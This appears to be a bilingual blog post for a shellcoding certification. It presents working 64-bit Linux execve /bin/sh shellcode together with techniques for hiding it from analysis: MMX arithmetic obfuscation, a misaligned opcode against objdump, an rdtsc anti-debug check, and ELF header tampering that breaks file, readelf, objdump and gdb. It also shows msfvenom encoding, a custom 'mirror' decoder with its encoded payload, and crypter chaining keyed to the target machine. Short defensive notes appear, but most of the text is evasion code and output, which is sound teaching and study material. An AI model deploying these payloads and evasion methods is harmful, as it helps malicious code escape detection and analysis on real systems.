SLAE64 – Assignment #Bonus – Obfuscated shellcode and unique trick

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #Bonus

So here are additionnal things I did for fun 🙂

Obfuscated shellcode

First is a shellcode that use some obfuscation techniques like :

  • MMX instructions
  • disalign opcodes to prevent objdump to work
  • additions to hide real values
  • stack to store data instead of data segment
; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; $ nasm -f elf64 sc64.nasm -o sc64.o
; $ ld sc64.o -o sc64
;
; 64 bits system exec parameters : 
;
; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8
; 0x3b  sys_execve  const char *filename   const char *const argv[]	const char *const envp[]

global _start
   
_start:
        ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f in hexa
        ; Obfuscate this value with a simple addition
        ;  68 73 2f 6e 69 62 2f
        ; - 50 53 01 42 4a 50 02  X value
        ; = 18 20 2e 2c 1f 12 2d  Y value
	jmp begin+1	

begin: 
	db 0xe9			    ; E9 is opcode for jmp to disalign disassembly
	
        mov rcx, 0x505301424a5002   ; X value 
	movq mm0, rcx               ; build the string value using MMX for obfuscation
	mov rcx, 0x18202e2c1f122d   ; Y value is padded
	movq mm1, rcx
	paddusb mm0, mm1            ; add mm0 with mm1 (parallel execution) and construct hs/nib/ 
	movq rcx, mm0
	emms                        ; return to FPU mode
	xor rdx, rdx                ; zero out rdx for an execve argument
	mov al, 0x30                ; move 0x30 (execve syscall is 0x3b) into al
	push rcx                    ; push the immediate value stored in rcx onto the stack
	lea rdi, [rsp]              ; load the address of the string that is on the stack into rdi
        add al, 0x0b		    ; move 0x3b into al (execve syscall)
	syscall                     ; make the syscall

 

Unique trick

Second is a technique I found myself as I was working on the Linux ELF format.

I noticed that it’s possible to change some bytes in the ELF file header without altering the normal execution of the program. For instance you can persuade your executable is 32 bits even if in reality it’s a 64 bits one. You can also indicate your binary is made for a big endian platform even if in reality it’s not true. This technique maybe usefull againt reverse engineering.

In order to alterate the header you can use any hexadecimal editor like hexcurse.

The 5th byte defines format 32 bits (1) or 64 bits (2)

The 6th byte defines endianness LSB (1)  MSB (1)

Alterate the ELF header, save and run your shellcode and you’ll see that it’s running like a charm.

However the standard Linux tools such as file, readelf, objdump, gdb ALL FAIL !

file sc64
sc64elf: ELF 32-bit MSB *unknown arch 0x3e00* (SYSV)
En-tête ELF:
  Magique:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
  Classe:                            ELF32
  Données:                          complément à 2, système à octets de poids fort d'abord (big endian)
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  Version ABI:                       0
  Type:                              : 200
  Machine:                           : 0x3e00
  Version:                           0x1000000
  Adresse du point d'entrée:         0x80004000
  Début des en-têtes de programme :  0 (octets dans le fichier)
  Début des en-têtes de section :    1073741824 (octets dans le fichier)
  Fanions:                           0x0
  Taille de cet en-tête:             53249 (octets)
  Taille de l'en-tête du programme:  0 (octets)
  Nombre d'en-tête du programme:     0
  Taille des en-têtes de section:    0 (octets)
  Nombre d'en-têtes de section:      0
  Table d'indexes des chaînes d'en-tête de section: 0
readelf: AVERTISSEMENT: en-tête ELF peut-être endommagé – il a un offset non nul pour l'en-tête de section mais pas d'en-tête de section
objdump -M intel -D ./sc64
objdump: ./sc64: Fichier tronqué
gdb ./sc64 
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
"/root/shellcodes/./sc64": not in executable format: Fichier tronqué
(gdb)

Linux shellcode 64 bits – Obfuscation

L’objet de cette série d’articles est d’aborder quelques techniques d’évasion pour des shellcodes (une connaissance minimale sur les shellcodes est donc un prérequis).

Ces techniques sont susceptibles d’intéresser les pentesters mais aussi les cyberdéfenseurs dans leur lutte quotidienne contre les attaques informatiques.

Une petite précision par rapport aux codes sources. Le code présenté ici n’est pas 100% « exploit safe », c’est à dire que je n’ai pas systématiquement vérifié l’absence de zéros dans les opcodes générés.

Par exemple ce mov n’est pas exploit safe car il génère des opcodes avec des zéros :

48 c7 c0 01 00 00 00    mov    rax,0x1

Mais ce code-ci qui aboutit au même résultat est lui « exploit safe » :

48 31 c0            xor    rax,rax
b0 01               mov    al,0x1

OK, prenons pour exemple un shellcode classique dont le but est de lancer un shell /bin/sh

; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64basic.nasm -o sc64basic.o
; $ ld sc64basic.o -o sc64basic
;
; 64 bits system exec parameters : 
;
; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8
; 0x3b  sys_execve  const char *filename   const char *const argv[]	const char *const envp[]

global _start
   
_start:
        ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
	mov rcx, 0x68732f6e69622f 
	push rcx                    ; push the immediate value stored in rcx onto the stack
	xor rdx, rdx
	lea rdi, [rsp]              ; load the address of the string that is on the stack into rdi
	mov al, 0x3b
	syscall                     ; make the syscall

Un tel shellcode est facilement repérable car :

  • la chaîne de caractères /bin/sh ou ici sa version little endian hs/nib apparaît en clair dans le registre rcx
  • l’appel à la fonction système execve 0x3b est repérable directement

Obfuscation

Afin de contourner ce problème, un attaquant peut utiliser plusieurs techniques comme l’obfuscation.

On remplace tout ce qui est facilement identifiable  comme la chaine de caractère /bin/sh et l’appel système execve 0x3b par un code différent mais qui aboutit au même résultat.

Au fait, dans ce genre, il y a quelques trucs pour remplacer les classiques XOR ou PUSH, cela peut aider à passer du pattern-matching :

XOR

Un xor rax, rax peut se remplacer par :

 mov rbx, rax
 sub rax, rbx

PUSH

Un  push rax peut se remplacer par :

 mov qword [rsp - 8], rax
 sub rsp, 8

Pour masquer la chaine /bin/sh, on peut par exemple imaginer une addition de deux registres donnant comme résultat la valeur souhaitée 0x68732f6e69622f.  Et pour faire cette addition on peut ajouter un peu de fun en utilisant une instruction MMX ou bien du SSE/SSE2.

Quant à l’appel système avec 0x3b dans le registre AL, là aussi on peut se dire qu’on ne met pas directement cette valeur dans AL mais qu’on y arrive avec une addition.

Voici un exemple de code avec ces modifications.

; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64v1.nasm -o sc64v1.o
; $ ld sc64v1.o -o sc64v1
;
; 64 bits system exec parameters : 
;
; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8
; 0x3b  sys_execve  const char *filename   const char *const argv[]	const char *const envp[]

global _start
   
_start:
        ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
        ; Obfuscate value with a simple addition
        ;  68 73 2f 6e 69 62 2f
        ; - 50 53 01 42 4a 50 02  X value
        ; = 18 20 2e 2c 1f 12 2d  Y value

	mov rcx, 0x69505301424a5002   ; X value is padded with a random value, 0x69
	movq mm0, rcx                 ; build the string value using MMX add instruction for obfuscation
	mov rcx, 0x6918202e2c1f122d   ; Y value is padded with a random value, 0x69
	movq mm1, rcx
	paddusb mm0, mm1            ; add mm0 with mm1 (parallel execution) and construct hs/nib/  
	movq rcx, mm0
	emms                        ; return to FPU mode
	xor rdx, rdx                ; zero out rdx for an execve argument 
        shl rcx, 0x08               ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00) 
	mov al, 0x30                ; move 0x30 (execve syscall is 0x3b) into al
        shr rcx, 0x08               ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib)
	push rcx                    ; push the immediate value stored in rcx onto the stack
	lea rdi, [rsp]              ; load the address of the string that is on the stack into rdi
        add al, 0x0b		    ; move 0x3b into al (execve syscall)
	syscall                     ; make the syscall

Cyberdéfense

Le pattern-matching risque d’échouer car le code est obfusqué.

Un dump du code ne permet plus de voir d’un simple coup d’oeil qu’il s’agit d’un appel à /bin/sh néanmoins en suivant pas à pas les instructions avec gdb on y arrive aisément.

Anti-dump 

Un attaquant aura vite trouvé une solution pour perturber les dumpers de code et les debuggers.

Une solution simple pour pertuber la commande objdump sous Linux, est d’ajouter un opcode incomplet (par exemple prendre un opcode qui tient normalement sur 2 octets et de n’en prendre qu’un seul) puis de passer par dessus avec un jump :

	jmp begin+1	

begin: 
	db 0xe9	; E9 is opcode for jmp to disalign disassembly like objdump
        suite du code

Le nouveau shellcode avec cet anti-dump :

; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64v2.nasm -o sc64v2.o
; $ ld sc64v2.o -o sc64v2
;
; 64 bits system exec parameters : 
;
; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8
; 0x3b  sys_execve  const char *filename   const char *const argv[]	const char *const envp[]

global _start
   
_start:
        ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
        ; Obfuscate value with a simple addition
        ;  68 73 2f 6e 69 62 2f
        ; - 50 53 01 42 4a 50 02  X value
        ; = 18 20 2e 2c 1f 12 2d  Y value
	jmp begin+1	

begin: 
	db 0xe9			      ; E9 is opcode for jmp to disalign disassembly
	
        mov rcx, 0x69505301424a5002   ; X value is padded with a random value, 0x69 
	movq mm0, rcx                 ; build the string value using MMX add instruction for obfuscation
	mov rcx, 0x6918202e2c1f122d   ; Y value is padded with a random value, 0x69
	movq mm1, rcx
	paddusb mm0, mm1            ; add mm0 with mm1 (parallel execution) and construct hs/nib/ 
	movq rcx, mm0
	emms                        ; return to FPU mode
	xor rdx, rdx                ; zero out rdx for an execve argument
        shl rcx, 0x08               ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00)
	mov al, 0x30                ; move 0x30 (execve syscall is 0x3b) into al
        shr rcx, 0x08               ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib)
	push rcx                    ; push the immediate value stored in rcx onto the stack
	lea rdi, [rsp]              ; load the address of the string that is on the stack into rdi
        add al, 0x0b		    ; move 0x3b into al (execve syscall)
	syscall                     ; make the syscall

Lançons un objdump pour voir le résultat.

On voit que l’ajout de l’opcode 0xE9 a perturbé l’alignement d’objdump, le code dumpé ne correspond pas au code source :

objdump -D sc64blog

sc64blog:     format de fichier elf64-x86-64


Déassemblage de la section .text :

0000000000400080 <_start>:
  400080:	eb 01                	jmp    400083 <begin+0x1>

0000000000400082 :
  400082:	e9 48 b9 02 50       	jmpq   5042b9cf <_end+0x4fe2b917>
  400087:	4a                   	rex.WX
  400088:	42 01 53 50          	rex.X add %edx,0x50(%rbx)
  40008c:	00 48 0f             	add    %cl,0xf(%rax)
  40008f:	6e                   	outsb  %ds:(%rsi),(%dx)
  400090:	c1 48 b9 2d          	rorl   $0x2d,-0x47(%rax)
  400094:	12 1f                	adc    (%rdi),%bl
  400096:	2c 2e                	sub    $0x2e,%al
  400098:	20 18                	and    %bl,(%rax)
  40009a:	00 48 0f             	add    %cl,0xf(%rax)
  40009d:	6e                   	outsb  %ds:(%rsi),(%dx)
  40009e:	c9                   	leaveq 
  40009f:	0f dc c1             	paddusb %mm1,%mm0
  4000a2:	48 0f 7e c1          	movq   %mm0,%rcx
  4000a6:	0f 77                	emms   
  4000a8:	48 31 d2             	xor    %rdx,%rdx
  4000ab:	b0 30                	mov    $0x30,%al
  4000ad:	51                   	push   %rcx
  4000ae:	48 8d 3c 24          	lea    (%rsp),%rdi
  4000b2:	04 0b                	add    $0xb,%al
  4000b4:	0f 05                	syscall 

Cyberdéfense

Il suffit de lancer le debugger gdb et de tracer les instructions pas à pas.

Anti-debugger

Là encore un attaquant peut empêcher le bon fonctionnement de gdb de plusieurs façons.

Si le shellcode ne fait pas partie d’un exploit mais est un exécutable :

On peut manipuler le header ELF du binaire et  fait croire qu’il s’agit d’un binaire 32 bits alors qu’il s’agit en réalité d’un binaire 64 bits. Dans le même ordre d’idée on peut modifier un autre bit du header ELF pour indiquer qu’il s’agit d’un code pour une plateforme en big endian alors qu’il s’agit en réalité d’un binaire pour une plateforme en little endian.

Ces modifications perturbent bon nombre d’outils mais n’empêchent pas le binaire de fonctionner normalement !

Tout d’abord, on vérifie les informations présentes avec la commande readelf, on voit bien qu’il s’agit d’un 64 bits little endian :

readelf -h ./sc64v2
En-tête ELF:
  Magique:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Classe:                            ELF64
  Données:                          complément à 2, système à octets de poids faible d'abord (little endian)
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  Version ABI:                       0
  Type:                              EXEC (fichier exécutable)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Adresse du point d'entrée:         0x400080
  Début des en-têtes de programme :  64 (octets dans le fichier)
  Début des en-têtes de section :    464 (octets dans le fichier)
  Fanions:                           0x0
  Taille de cet en-tête:             64 (octets)
  Taille de l'en-tête du programme:  56 (octets)
  Nombre d'en-tête du programme:     1
  Taille des en-têtes de section:    64 (octets)
  Nombre d'en-têtes de section:      5
  Table d'indexes des chaînes d'en-tête de section: 4

Pour modifier le header, on peut utiliser n’importe quel éditeur hexadécimal, j’ai choisi ici l’outil hexcurse :

Le 5ième octet définit le format 32 ou 64 bits : (1) 32Bits (2) 64Bits. On modifie le 5ième octet et on le passe à 1.

Le 6ième octet définit l’endianness : (1) LSB (2) MSB. On modifie le 6ième octet et on le passe à 2.

Testons ces modifs avec quelques commandes linux classiques :

  • file

la commande file est perturbée

file sc64
sc64elf: ELF 32-bit MSB *unknown arch 0x3e00* (SYSV)
  • readelf

Il croit qu’il s’agit d’un executable 32 bits pour big endian :

En-tête ELF:
  Magique:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
  Classe:                            ELF32
  Données:                          complément à 2, système à octets de poids fort d'abord (big endian)
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  Version ABI:                       0
  Type:                              : 200
  Machine:                           : 0x3e00
  Version:                           0x1000000
  Adresse du point d'entrée:         0x80004000
  Début des en-têtes de programme :  0 (octets dans le fichier)
  Début des en-têtes de section :    1073741824 (octets dans le fichier)
  Fanions:                           0x0
  Taille de cet en-tête:             53249 (octets)
  Taille de l'en-tête du programme:  0 (octets)
  Nombre d'en-tête du programme:     0
  Taille des en-têtes de section:    0 (octets)
  Nombre d'en-têtes de section:      0
  Table d'indexes des chaînes d'en-tête de section: 0
readelf: AVERTISSEMENT: en-tête ELF peut-être endommagé – il a un offset non nul pour l'en-tête de section mais pas d'en-tête de section
  • objdump

Objdump plante :

objdump -M intel -D ./sc64
objdump: ./sc64: Fichier tronqué

  • gdb

gdb plante également :

gdb ./sc64 
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
"/root/shellcodes/./sc64": not in executable format: Fichier tronqué
(gdb) 

Que le shellcode fasse partie d’un exploit ou bien soit un binaire exécutable, il est possible de perturber le débugger gdb de multiples façons.

Une des méthodes est de se baser sur le temps. On calcule le temps d’exécution et si ce n’est pas le temps attendu, on exit :

	rdtsc                       ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])
	xor ecx,ecx                 ; sets ECX to zero
	add ecx,eax                 ; save timestamp to ECX
	rdtsc                       ; get another timestamp
	sub eax,ecx                 ; compute elapsed ticks
	cmp eax,0xFFF		    ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)
	jl next
	retn			    ; program crash

Voici le shellcode en intégrant la technique anti-dump et anti-debug :

; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64v3.nasm -o sc64v3.o
; $ ld sc64v3.o -o sc64v3
;
; 64 bits system exec parameters : 
;
; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8
; 0x3b  sys_execve  const char *filename   const char *const argv[]	const char *const envp[]

global _start
   
_start:
        ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
        ; Obfuscate value with a simple addition
        ;  68 73 2f 6e 69 62 2f
        ; - 50 53 01 42 4a 50 02  X value
        ; = 18 20 2e 2c 1f 12 2d  Y value
	jmp begin+1	

begin: 
	db 0xe9			    ; E9 is opcode for jmp to disalign disassembly

	rdtsc                       ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])
	xor ecx,ecx                 ; sets ECX to zero
	add ecx,eax                 ; save timestamp to ECX
	rdtsc                       ; get another timestamp
	sub eax,ecx                 ; compute elapsed ticks
	cmp eax,0xFFF		    ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)
	jl next
	retn			    ; program crash

	mov rcx, 0x69505301424a5002   ; X value is padded with a random value, 0x69 
	movq mm0, rcx                 ; build the string value using MMX add instruction for obfuscation
	mov rcx, 0x6918202e2c1f122d   ; Y value is padded with a random value, 0x69
	movq mm1, rcx
	paddusb mm0, mm1            ; add mm0 with mm1 (parallel execution) and construct hs/nib/ 
	movq rcx, mm0
	emms                        ; return to FPU mode
	xor rdx, rdx                ; zero out rdx for an execve argument
        shl rcx, 0x08               ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00)
	mov al, 0x30                ; move 0x30 (execve syscall is 0x3b) into al
        shr rcx, 0x08               ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib)
	push rcx                    ; push the immediate value stored in rcx onto the stack
	lea rdi, [rsp]              ; load the address of the string that is on the stack into rdi
        add al, 0x0b		    ; move 0x3b into al (execve syscall)
	syscall                     ; make the syscall

Cyberdéfense

Si objdump ou gdb se plante dès le début,  jettez un oeil au header ELF.

Si en traçant pas à pas gdb crash, pensez à faire des jump par dessus du code anti-debug.

Voila, après avoir vu rapidement quelques techniques d’obfuscation, nous verrons dans le prochain article quelques techniques d’encodage.

Linux shellcode 64 bits – Encoders et Crypters

L’objet de cette série d’articles est d’aborder quelques techniques d’évasion pour des shellcodes.

Cet article fait suite à l’article précédent Linux shellcode 64 bites – Obfuscation

Encoders

Le shellcode vu dans l‘article précédent est obfusqué, c’est pas mal, mais on peut faire mieux en utilisant des encoders.

Pour encoder votre shellcode vous avez le choix entre :

  1. Utiliser un encoder existant
  2. Modifier un encoder existant
  3. Créer un nouveau encoder

 

  1. Utiliser un encoder existant 

C’est la solution de facilité mais il faut savoir que les signatures et les algorithmes des encoders publiques sont connues. Si vous pensez à l’encoder polymorphique « shikata ga nai » de Metasploit et bien il est facilement repérable de part la présence systématique de l’instruction (suspecte) FNSTENV.

Si malgré tout la technique vous tente, vous pouvez utiliser l’utilitaire msfvenom de Metasploit.

D’abord, exporter votre shellcode sous format d’opcodes :

for i in $(objdump -d sc64 |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\xeb\x01\xe9\x48\xb9\x02\x50\x4a\x42\x01\x53\x50\x00\x48\x0f\x6e\xc1\x48\xb9\x2d\x12\x1f\x2c\x2e\x20\x18\x00\x48\x0f\x6e\xc9\x0f\xdc\xc1\x48\x0f\x7e\xc1\x0f\x77\x48\x31\xd2\xb0\x30\x51\x48\x8d\x3c\x24\x04\x0b\x0f\x05 

Ensuite il suffit d’envoyer ces opcodes dans un des encoders de msfvenom. Pour avoir la liste des encoders disponibles :

msfvenom -l encoders

Exemple d’encodage du shellcode avec l’encoder XOR :

echo -ne "\xeb\x01\xe9\x48\xb9\x02\x50\x4a\x42\x01\x53\x50\x00\x48\x0f\x6e\xc1\x48\xb9\x2d\x12\x1f\x2c\x2e\x20\x18\x00\x48\x0f\x6e\xc9\x0f\xdc\xc1\x48\x0f\x7e\xc1\x0f\x77\x48\x31\xd2\xb0\x30\x51\x48\x8d\x3c\x24\x04\x0b\x0f\x05 "
| msfvenom -f c -e x64/xor -a x64 --platform linux

Cyberdéfense

En principe les outils modernes du marché suffisent à bloquer ce genre d’encoders car les signatures et algorithmes sont connues.

2. Modifier un encoder existant  

Il suffit de prendre le code source de l’encoder, de le modifier un peu en ajoutant quelques instructions même inutiles. Cela suffit souvent à passer à travers les outils basés sur les signatures ou du pattern-matching.

Cyberdéfense

Les outils basés sur les signatures uniquement ne suffisent plus dans ce cas là, il faut utiliser d’autres techniques de détections, comme l’analyse comportementale en faisant par exemple appel à l’émulation de code.

3. Créer un nouveau encoder

L’avantage d’un encoder tout nouveau c’est que sa signature et son algorithme ne sont pas connus, c’est ce que je vous propose dans cet article.

Le principe est relativement simple : dans un premier temps il faut dumper les opcodes du shellcode puis créer un algorithme qui mixe tous ces opcodes.

Afin de récupérer les opcodes, tous les moyens sont bons, un script Python, un éditeur hexadécimal, la commande xxd, etc…

Sinon vous pouvez toujours récupérer un script de dump tout fait sur www.commandlinefu.com

Une fois que vous avez votre suite d’opcodes il faut trouver une façon de les encoder. Dans ce domaine tout est possible, libre cours à votre imagination !

L’algorithme proposé ici est sommaire, il s’agit de swapper les opcodes comme dans un miroir. J’échange le premier opcode avec le dernier opcode, le deuxième avec l’avant-dernier, etc, La condition pour que cet algorithme fonctionne est un nombre pair d’opcodes ; si ce n’est pas le cas il suffit d’ajouter une instruction inutile en fin de code comme un nop.

Voila, une fois l’algorithme défini, il n’y a plus qu’à le baptiser, coder l’encoder, en général en Python, puis le decoder en assembleur ; j’ai appelé cet encoder, le « mirror encoder ».

Je n’ai pas mis ici le code source de l’encoder, si cela vous intéresse faites-moi signe, je le mettrai en ligne.

Quant au decoder, voici un exemple d’implémentation en assembleur 64 bits utilisant la technique du « JMP-CALL-POP » :

; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64.nasm -o sc64.o
; $ ld sc64.o -o sc64

global _start

section .text   
_start:	
	jmp begin+1		    ; anti dump, disalign opcode
begin:
	db 0xe9	                    
                                    ; anti debugging
	rdtsc                       ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])
	xor ecx,ecx                 ; sets ECX to zero
	add ecx,eax                 ; save timestamp to ECX
	rdtsc                       ; get another timestamp
	sub eax,ecx                 ; compute elapsed ticks
	cmp eax,0xFFF		    ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)
	jl next
	retn			    ; program crash
next:
 
        jmp ONSTACK   
GO_LOOP:
        pop r8                       ; r8 is the SC address
	xor rcx, rcx                 ; offset to first SC byte
	mov rdx, 0x3d                ; offset to last SC byte = SC length -1         
LOOP:
	cmp rcx, 0x1F                ; SC length / 2 - stop swapping bytes when we are in the middle
	je SC                        ; go to decoded shell code
	
	mov al, byte [r8+rcx]        ; save values
	mov bl, byte [r8+rdx]

	mov byte [r8+rcx], bl        ; swap values
	mov byte [r8+rdx], al
  
	inc rcx                      ; go to next byte from left to right
	dec rdx                      ; go to next byte from right to left
        jmp LOOP                 
section .data
ONSTACK:
	call GO_LOOP
SC:	db 0x05,0x0f,0x0b,0x04,0x24,0x3c,0x8d,0x48,0x51,0x08,0xe9,0xc1,0x48,0x30,0xb0,0x08,0xe1,0xc1,0x48,0xd2,0x31,0x48,0x77,0x0f,0xc1,0x7e,0x0f,0x48,0xc1,0xdc,0x0f,0xc9,0x6e,0x0f,0x48,0x69,0x18,0x20,0x2e,0x2c,0x1f,0x12,0x2d,0xb9,0x48,0xc1,0x6e,0x0f,0x48,0x69,0x50,0x53,0x01,0x42,0x4a,0x50,0x02,0xb9,0x48,0xe9,0x01,0xeb

Cyberdéfense

Un moyen de contrer ces attaques est de passer par de l’émulation de code (je vous conseille d’aller voir le projet Unicorn).

Crypters

Ici l’idée n’est plus d’encoder le shellcode mais bel et bien d’utiliser du chiffrement ( symétrique, ou asymétrique).

Le plus simple est de partir sur un algorithme symétrique comme RC4 ou AES en récupérant une implémentation sur le Net puis de chiffrer le shellcode encodé.

Le chainage

C’est ce que j’appelle la totale !

C’est le chainage de toutes les techniques d’évasion sur un même shellcode.

On part du shellcode d’origine sur lequel on applique de l’obfuscation, puis un encoder et enfin un crypter.

Mais un bon décodeur se doit de masquer sa clef de déchiffrement.

Pour cela il peut utiliser comme clef un identifiant unique de la machine cible (son nom, son ip, etc) de telle sorte que si on exécute ou émule le code du décoder sur une autre machine, on aboutisse à rien de significatif.